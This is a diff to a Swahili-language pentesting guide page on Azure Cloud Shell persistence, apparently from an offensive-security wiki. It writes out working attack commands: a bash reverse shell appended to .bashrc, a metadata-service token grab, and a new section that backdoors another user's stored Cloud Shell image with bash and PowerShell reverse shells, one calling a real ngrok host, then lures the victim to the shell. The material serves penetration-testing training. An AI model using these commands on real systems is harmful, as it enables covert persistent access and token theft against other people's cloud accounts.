Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md

@@ -4,14 +4,14 @@
 
 ## Cloud Shell Persistence
 
-Azure Cloud Shell inatoa ufikiaji wa amri ili kudhibiti rasilimali za Azure kwa kuhifadhi endelevu na uthibitishaji wa kiotomatiki. Washambuliaji wanaweza kutumia hii kwa kuweka milango ya nyuma katika saraka ya nyumbani ya kudumu:
+Azure Cloud Shell inatoa ufikiaji wa amri ili kudhibiti rasilimali za Azure kwa kuhifadhi endelevu na uthibitishaji wa kiotomatiki. Washambuliaji wanaweza kutumia hili kwa kuweka milango ya nyuma katika saraka ya nyumbani ya kudumu:
 
 * **Persistent Storage**: Saraka ya nyumbani ya Azure Cloud Shell imewekwa kwenye sehemu ya faili ya Azure na inabaki salama hata baada ya kikao kumalizika.
-* **Startup Scripts**: Faili kama .bashrc zinafanya kazi kiotomatiki mwanzoni mwa kila kikao, kuruhusu utekelezaji endelevu wakati shell ya wingu inaanza.
+* **Startup Scripts**: Faili kama `.bashrc` au `config/PowerShell/Microsoft.PowerShell_profile.ps1` zinafanya kazi kiotomatiki mwanzoni mwa kila kikao, kuruhusu utekelezaji endelevu wakati shell ya wingu inaanza.
 
 Mfano wa milango ya nyuma katika .bashrc:
 ```bash
-echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
+echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
 ```
 Hii backdoor inaweza kutekeleza amri hata dakika 5 baada ya shell ya wingu kumalizika na mtumiaji.
 
@@ -19,4 +19,41 @@ Zaidi ya hayo, uliza huduma ya metadata ya Azure kwa maelezo ya mfano na tokeni:
 ```bash
 curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
 ```
+### Cloud Shell Phishing
+
+Ikiwa mshambuliaji atapata picha za watumiaji wengine katika Akaunti ya Hifadhi ambayo ana ruhusa ya kuandika na kusoma, ataweza kupakua picha hiyo, **kuongeza backdoor ya bash na PS ndani yake**, na kuipakia tena kwenye Akaunti ya Hifadhi ili wakati mtumiaji atakapofikia shell, **amri zitatekelezwa kiotomatiki**.
+
+- **Pakua, backdoor na upakia picha:**
+```bash
+# Download image
+mkdir /tmp/phishing_img
+az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>
+
+# Mount the image
+mkdir /tmp/backdoor_img
+sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
+cd /tmp/backdoor_img
+
+# Create backdoor
+mkdir .config
+mkdir .config/PowerShell
+touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
+chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
+
+# Bash backdoor
+echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
+
+# PS backdoor
+echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
+
+# Unmount
+cd /tmp
+sudo umount /tmp/backdoor_img
+
+# Upload image
+az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
+```
+- **Kisha, mwongoze mtumiaji kufikia https://shell.azure.com/**
+
+
 {{#include ../../../banners/hacktricks-training.md}}